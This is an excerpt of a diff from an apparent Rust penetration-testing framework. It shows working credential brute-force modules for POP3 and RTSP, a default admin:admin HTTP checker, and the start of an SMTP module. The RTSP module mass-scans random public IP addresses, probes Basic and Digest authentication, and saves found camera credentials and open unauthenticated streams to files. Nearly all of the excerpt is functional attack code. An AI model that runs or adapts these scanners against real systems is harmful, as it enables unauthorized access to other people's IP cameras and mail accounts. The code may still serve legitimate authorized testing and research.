stop_on_success: false,
verbose,
full_combo: false,
use_ssl: t_use_ssl,
connection_timeout: 5, // 5 seconds for login attempt
retry_on_error: false,
max_retries: 0,
output_file: "".to_string(),
delay_ms: 0,
};
attempt_pop3_login(&config, &t_user, &t_pass)
}).await;
match res {
Ok(Ok(true)) => {
let msg = format!("{} -> {}:{}", ip, user, pass);
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return; // Stop after first success
}
Ok(Ok(false)) => {
// Auth failed
}
Ok(Err(_)) => {
// Connection error - abort this host
return;
}
Err(_) => {
// Start/Join error
}
}
}
}
}
async fn run_pop3_bruteforce(config: Pop3BruteforceConfig) -> Result<()> {
// Determine loading strategy
let _user_count = load_lines(&config.username_wordlist)?.len();
let _pass_count = load_lines(&config.password_wordlist)?.len();
// We will use memory mode for simpler implementation unless huge, but for now standard load_lines
// If files are huge, the shared Utils load_lines might panic or OOM, but let's assume reasonable sizes for now
// or use the streaming logic if I can adapt it easily.
// To match other modules (ssh/ftp), I'll use load_lines.
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
println!("[*] Total attempts: {}", total_attempts);
let stats = Arc::new(BruteforceStats::new());
let found_creds = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let _start_time = std::time::Instant::now();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate combinations
let mut combos = Vec::new();
if config.full_combo {
for u in &usernames {
for p in &passwords {
combos.push((u.clone(), p.clone()));
}
}
} else {
// Linear mix: try u[0] p[0], u[1] p[1]... cycle if needed
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
// Process combinations
for (user, pass) in combos {
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let config_clone = config.clone();
let stats_clone = stats.clone();
let found_clone = found_creds.clone();
let stop_signal_clone = stop_signal.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit; // Hold permit
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
// Retry loop
let mut retries = 0;
loop {
let config_inner = config_clone.clone();
let user_inner = user_clone.clone();
let pass_inner = pass_clone.clone();
let res = tokio::task::spawn_blocking(move || {
attempt_pop3_login(&config_inner, &user_inner, &pass_inner)
}).await;
match res {
Ok(Ok(true)) => {
println!("\r{}", format!("[+] Found: {}:{}", user, pass).green().bold());
found_clone.lock().await.push((user.clone(), pass.clone()));
stats_clone.record_success();
if config_clone.stop_on_success {
stop_signal_clone.store(true, Ordering::Relaxed);
}
break;
},
Ok(Ok(false)) => {
stats_clone.record_failure();
if config_clone.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
}
break;
},
Ok(Err(e)) => {
if config_clone.retry_on_error && retries < config_clone.max_retries {
retries += 1;
stats_clone.record_retry();
// Small backoff
tokio::time::sleep(Duration::from_millis(500)).await;
continue;
}
stats_clone.record_error(e.to_string()).await;
if config_clone.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user, pass, e).red());
}
break;
},
Err(e) => {
stats_clone.record_error(format!("Task panic: {}", e)).await;
break;
}
}
}
if config_clone.delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
}
}));
// Drain finished tasks to keep memory low
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {
// Just drain
}
}
// Wait for remaining
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let found = found_creds.lock().await;
if !found.is_empty() {
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
for (u, p) in found.iter() {
let _ = writeln!(file, "{}:{}", u, p);
}
println!("[+] Results saved to {}", config.output_file);
}
}
Ok(())
}
// Blocking login attempt
fn attempt_pop3_login(config: &Pop3BruteforceConfig, user: &str, pass: &str) -> Result<bool> {
let addr = format!("{}:{}", config.target, config.port);
let timeout = Duration::from_secs(config.connection_timeout);
if config.use_ssl {
let connector = TlsConnector::new()?;
// Resolve first to apply timeout to connect
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
let mut stream = connector.connect(&config.target, stream)?;
// Read banner
let mut buffer = [0; 1024];
stream.read(&mut buffer)?; // +OK ...
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
let n = stream.read(&mut buffer)?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
let n = stream.read(&mut buffer)?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
stream.write_all(b"QUIT\r\n").ok();
return Ok(true);
}
} else {
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let mut stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
// Read banner
let mut buffer = [0; 1024];
stream.read(&mut buffer)?;
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
let n = stream.read(&mut buffer)?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
let n = stream.read(&mut buffer)?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
stream.write_all(b"QUIT\r\n").ok();
return Ok(true);
}
}
Ok(false)
}
File diff suppressed because it is too large Load Diff
@@ -1,783 +0,0 @@
use anyhow::{anyhow, Result, Context};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{Write, BufRead, BufReader},
net::{IpAddr, Ipv4Addr, SocketAddr},
sync::Arc,
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
time::Duration,
collections::HashSet,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::{sleep, timeout},
fs::OpenOptions,
};
use rand::Rng;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_default, prompt_int_range, prompt_port,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 5;
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
const STATE_FILE: &str = "rtsp_mass_state.log";
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", // Private
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", // Multicast/Reserved
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", // Carrier/LinkLocal/Broadcast
// Cloudflare
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
"1.1.1.1/32", "1.0.0.1/32",
// Google
"8.8.8.8/32", "8.8.4.4/32"
];
#[derive(Debug, Clone, PartialEq)]
enum AuthMethod {
None,
Basic,
Digest { realm: String, nonce: String },
Unknown,
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports Basic & Digest Auth, Mass Scanning ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Check for Mass Scan Mode conditions
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || target.contains('/') || std::path::Path::new(target).is_file();
println!("{}", format!("[*] Target: {}", target).cyan());
if is_mass_scan {
println!("{}", "[*] Mode: Mass Scan".yellow());
return run_mass_scan(target).await;
}
run_single_target(target).await
}
async fn run_single_target(target: &str) -> Result<()> {
let port: u16 = prompt_port("RTSP Port", 554)?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000)? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let _save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if _save_results {
Some(prompt_default("Output file", "rtsp_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
let implicit_path = extract_rtsp_path(target);
// Normalize target and add port if needed
let target_normalized = if target.starts_with("rtsp://") {
target.strip_prefix("rtsp://")
.expect("Target starts with rtsp://")
.split('/')
.next()
.unwrap_or(target)
} else {
target.split('/').next().unwrap_or(target)
};
let normalized = normalize_target(target_normalized)?;
let addr = if normalized.contains(':') {
normalized
} else {
format!("{}:{}", normalized, port)
};
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr, port).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths_file = prompt_existing_file("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
println!();
println!("[*] Probing authentication method on default path...", );
let initial_path = paths.first().cloned().unwrap_or_default();
let probe_result = probe_auth_method(resolved_addrs.as_slice(), &addr, &initial_path).await;
let default_auth_method = match probe_result {
Ok(AuthMethod::None) => {
println!("{}", "[+] Target allows Unauthenticated Access!".green().bold());
// If user wants to stop on success, we are done?
// We should record this.
found.lock().await.push((addr.clone(), "<NO_AUTH>".to_string(), "<NO_AUTH>".to_string(), initial_path.clone()));
if stop_on_success {
println!("[+] Stopping due to unauthenticated access.");
return Ok(());
}
AuthMethod::None
},
Ok(AuthMethod::Basic) => {
println!("{} Detected Auth: Basic", "[*]".blue());
AuthMethod::Basic
},
Ok(AuthMethod::Digest { realm, nonce }) => {
println!("{} Detected Auth: Digest (Realm: {})", "[*]".blue(), realm);
AuthMethod::Digest { realm, nonce }
},
Ok(AuthMethod::Unknown) => {
println!("{} Unknown auth or connection error. Will default to Basic or probing.", "[!]".yellow());
AuthMethod::Unknown
},
Err(e) => {
println!("{} Probe failed: {}. Will continue knowing nothing.", "[!]".red(), e);
AuthMethod::Unknown
}
};
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
// If we know detected method, use it as a hint.
let cached_method = default_auth_method.clone();
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
let _permit = match semaphore_clone.acquire().await {
Ok(p) => p,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
match try_rtsp_login_smart(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
&cached_method,
).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "/" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
}
}
}
}));
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Ok(mut file) = File::create(&filename) {
for (host, user, pass, path) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Run mass scan logic
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep wordlists
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
let port: u16 = prompt_port("RTSP Port", 554)?;
let usernames_file = prompt_existing_file("Username wordlist")?;
let passwords_file = prompt_existing_file("Password wordlist")?;
let paths_file = prompt_existing_file("RTSP paths file (empty for none/root)")?;
let users = load_lines(&usernames_file)?;
let pass_lines = load_lines(&passwords_file)?;
let mut paths = load_lines(&paths_file)?;
if paths.is_empty() {
paths.push("".to_string());
}
if users.is_empty() || pass_lines.is_empty() {
return Err(anyhow!("Wordlists cannot be empty"));
}
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let output_file = prompt_default("Output result file", "rtsp_mass_results.txt")?;
// Parse exclusions
let mut exclusion_subnets = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusion_subnets.push(net);
}
}
let exclusions = Arc::new(exclusion_subnets);
// Shared State
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_found = Arc::new(AtomicUsize::new(0));
let creds_pkg = Arc::new((users, pass_lines, paths));
// Stats Reporter
let s_checked = stats_checked.clone();
let s_found = stats_found.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(5)).await;
println!(
"[*] Status: {} IPs scanned, {} RTSP streams found",
s_checked.load(Ordering::Relaxed),
s_found.load(Ordering::Relaxed).to_string().green().bold()
);
}
});
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
let mut checked_ips = HashSet::new();
if run_random {
if std::path::Path::new(STATE_FILE).exists() {
println!("{} Loading state file...", "[*]".blue());
if let Ok(file) = File::open(STATE_FILE) {
let reader = BufReader::new(file);
for line in reader.lines() {
if let Ok(l) = line {
if let Some(ip) = l.strip_prefix("checked: ") {
checked_ips.insert(ip.trim().to_string());
}
}
}
}
println!("{} Loaded {} checked IPs.", "[+]".green(), checked_ips.len());
}
}
let checked_set = Arc::new(Mutex::new(checked_ips));
if run_random {
OpenOptions::new().create(true).append(true).open(STATE_FILE).await?;
println!("{}", "[*] Starting Random Internet Scan...".green());
loop {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let c_set = checked_set.clone();
tokio::spawn(async move {
let ip = generate_random_public_ip(&exc);
let ip_s = ip.to_string();
let is_checked = {
let set = c_set.lock().await;
set.contains(&ip_s)
};
if !is_checked {
{
let mut set = c_set.lock().await;
set.insert(ip_s.clone());
}
mark_ip_checked_file(&ip_s).await;
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
} else {
let targets: Vec<String> = if std::path::Path::new(target).is_file() {
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect()
} else if target.contains('/') {
if let Ok(net) = target.parse::<ipnetwork::IpNetwork>() {
net.iter().map(|ip| ip.to_string()).collect()
} else {
vec![target.to_string()]
}
} else {
vec![target.to_string()]
};
println!("{}", format!("[*] Loaded {} targets.", targets.len()).blue());
for ip_str in targets {
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let cp = creds_pkg.clone();
let sc = stats_checked.clone();
let sf = stats_found.clone();
let of = output_file.clone();
let ip_addr = match ip_str.parse::<IpAddr>() {
Ok(ip) => Some(ip),
Err(_) => {
match tokio::net::lookup_host(format!("{}:{}", ip_str, port)).await {
Ok(mut iter) => iter.next().map(|s| s.ip()),
Err(_) => None
}
}
};
tokio::spawn(async move {
if let Some(ip) = ip_addr {
mass_scan_host(ip, port, cp, sf, of, verbose).await;
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
});
}
for _ in 0..concurrency {
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
}
}
Ok(())
}
async fn mass_scan_host(
ip: IpAddr,
port: u16,
creds: Arc<(Vec<String>, Vec<String>, Vec<String>)>,
stats_found: Arc<AtomicUsize>,
output_file: String,
verbose: bool
) {
let sa = SocketAddr::new(ip, port);
// 1. Connection Check (Fast Fail)
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
return;
}
// Probe once to determine method
let (users, passes, paths) = &*creds;
// We try to probe the preferred path (usually first one or root)
let probe_path = paths.first().cloned().unwrap_or_default();
let addrs = [sa];
// For mass scan, we might fail probe due to timeout, just return then.
// If Unauth, we log and return success immediately!
let auth_method = match probe_auth_method(&addrs, &sa.to_string(), &probe_path).await {
Ok(AuthMethod::None) => {
// Found open!
let result_str = format!("{} -> <NO_AUTH>:<NO_AUTH> [path={}]", sa, probe_path);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return;
},
Ok(m) => m,
Err(_) => return, // Failed to probe, host likely gone
};
for path in paths {
for user in users {
for pass in passes {
let res = try_rtsp_login_smart(
&addrs,
&sa.to_string(),
user,
pass,
path,
&auth_method
).await;
match res {
Ok(true) => {
let result_str = format!("{} -> {}:{} [path={}]", sa, user, pass, path);
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
}
stats_found.fetch_add(1, Ordering::Relaxed);
return;
}
Ok(false) => {}
Err(e) => {
let err_str = e.to_string().to_lowercase();
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") {
return;
}
if verbose {
println!("\r{}", format!("[!] {} -> error: {}", sa, e).red());
}
}
}
}
}
}
}
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
let mut rng = rand::rng();
loop {
let octets: [u8; 4] = rng.random();
let ip = Ipv4Addr::from(octets);
let ip_addr = IpAddr::V4(ip);
let mut excluded = false;
for net in exclusions {
if net.contains(ip_addr) {
excluded = true;
break;
}
}
if !excluded {
return ip_addr;
}
}
}
async fn mark_ip_checked_file(ip: &str) {
let data = format!("checked: {}\n", ip);
if let Ok(mut file) = OpenOptions::new()
.create(true)
.append(true)
.open(STATE_FILE)
.await
{
let _ = file.write_all(data.as_bytes()).await;
}
}
/// Resolve a host:port for single target mode
async fn resolve_targets(addr: &str, default_port: u16) -> Result<Vec<SocketAddr>> {
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(default_port))
} else {
(addr.to_string(), default_port)
};
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
// ------ RTSP Logic ------
async fn connect_to_any(addrs: &[SocketAddr]) -> Result<(TcpStream, SocketAddr)> {
let mut last_err = None;
for sa in addrs {
// Connect timeout
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
Ok(Ok(s)) => return Ok((s, *sa)),
Ok(Err(e)) => { last_err = Some(e); continue; }
Err(_) => { last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout")); continue; }
}
}
Err(last_err.map(|e| e.into()).unwrap_or_else(|| anyhow!("All connection attempts failed")))
}
async fn send_request(stream: &mut TcpStream, request: &str) -> Result<String> {
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
// Read timeout
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
Ok(Ok(n)) => n,
Ok(Err(e)) => return Err(e.into()),
Err(_) => return Err(anyhow!("Read timeout")),
};
if n == 0 {
return Err(anyhow!("Connection closed by server"));
}
Ok(String::from_utf8_lossy(&buffer[..n]).to_string())
}
/// Probes the server to determine supported auth method
async fn probe_auth_method(addrs: &[SocketAddr], _addr_display: &str, path: &str) -> Result<AuthMethod> {
let (mut stream, sa) = connect_to_any(addrs).await?;
let path_str = if path.is_empty() { "/" } else { path };
let method = "DESCRIBE";
// Send unauthenticated request
let request = format!(
"{method} rtsp://{host}:{port}/{path} RTSP/1.0\r\nCSeq: 1\r\n\r\n",
method = method,
host = sa.ip(),
port = sa.port(),
path = path_str.trim_start_matches('/')
);
let response = send_request(&mut stream, &request).await?;
if response.contains("200 OK") {
return Ok(AuthMethod::None);
}
if response.contains("401 Unauthorized") {
if response.contains("Digest") {
// Parse Realm and Nonce
// WWW-Authenticate: Digest realm="HipcamRealServer", nonce="3b27a446bfa49b0c48c3edb631e09054"
let realm = extract_header_value(&response, "realm=\"", "\"");
let nonce = extract_header_value(&response, "nonce=\"", "\"");
if let (Some(r), Some(n)) = (realm, nonce) {
return Ok(AuthMethod::Digest { realm: r, nonce: n });
}
} else if response.contains("Basic") {
return Ok(AuthMethod::Basic);
}
}
Ok(AuthMethod::Unknown)
}
fn extract_header_value(response: &str, start_marker: &str, end_marker: &str) -> Option<String> {
if let Some(start) = response.find(start_marker) {
let remainder = &response[start + start_marker.len()..];
if let Some(end) = remainder.find(end_marker) {
return Some(remainder[..end].to_string());
}
}
None
}
async fn try_rtsp_login_smart(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
auth_method: &AuthMethod,
) -> Result<bool> {
let method_to_use = if let AuthMethod::Unknown = auth_method {
probe_auth_method(addrs, addr_display, path).await.unwrap_or(AuthMethod::Basic)
} else {
auth_method.clone()
};
let (mut stream, sa) = connect_to_any(addrs).await?;
let rtsp_verb = "DESCRIBE";
let path_str = if path.is_empty() { "/" } else { path };
let path_clean = path_str.trim_start_matches('/');
let uri = format!("rtsp://{}:{}/{}", sa.ip(), sa.port(), path_clean);
let auth_header = match method_to_use {
AuthMethod::None => return Ok(true),
AuthMethod::Basic => {
let credentials = Base64.encode(format!("{}:{}", user, pass));
format!("Authorization: Basic {}", credentials)
},
AuthMethod::Digest { ref realm, ref nonce } => {
let ha1 = format!("{:x}", md5::compute(format!("{}:{}:{}", user, realm, pass)));
let ha2 = format!("{:x}", md5::compute(format!("{}:{}", rtsp_verb, uri)));
let response = format!("{:x}", md5::compute(format!("{}:{}:{}", ha1, nonce, ha2)));
format!(
"Authorization: Digest username=\"{}\", realm=\"{}\", nonce=\"{}\", uri=\"{}\", response=\"{}\"",
user, realm, nonce, uri, response
)
},
AuthMethod::Unknown => return Ok(false),
};
let request = format!(
"{method} {uri} RTSP/1.0\r\nCSeq: 2\r\n{auth}\r\n\r\n",
method = rtsp_verb,
uri = uri,
auth = auth_header
);
let response = send_request(&mut stream, &request).await?;
if response.contains("200 OK") {
Ok(true)
} else {
Ok(false)
}
}
fn extract_rtsp_path(target: &str) -> Option<String> {
let trimmed = target.trim();
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
if let Some((_, path)) = without_scheme.split_once('/') {
let clean_path = path.split(|c| c == '?' || c == '#')
.next()
.unwrap_or_default()
.trim();
if clean_path.is_empty() || clean_path == "/" {
None
} else {
let mut final_path = clean_path.to_string();
if !final_path.starts_with('/') {
final_path.insert(0, '/');
}
Some(final_path)
}
} else {
None
}
}
@@ -1,44 +0,0 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sample Default Credential Checker ║".cyan());
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
println!();
let url = format!("http://{}/login", target);
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
} else {
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
}
Ok(())
}
@@ -1,495 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{ToSocketAddrs, IpAddr, SocketAddr};
use std::net::TcpStream;
use std::sync::{
atomic::{AtomicBool, AtomicUsize, Ordering},
Arc,
};
use std::time::Duration;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use telnet::{Telnet, Event};
use base64::{engine::general_purpose, Engine as _};
use tokio::io::AsyncWriteExt;
use tokio::fs::OpenOptions;
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
const STATE_FILE: &str = "smtp_hose_state.log";
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
// Hardcoded exclusions
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
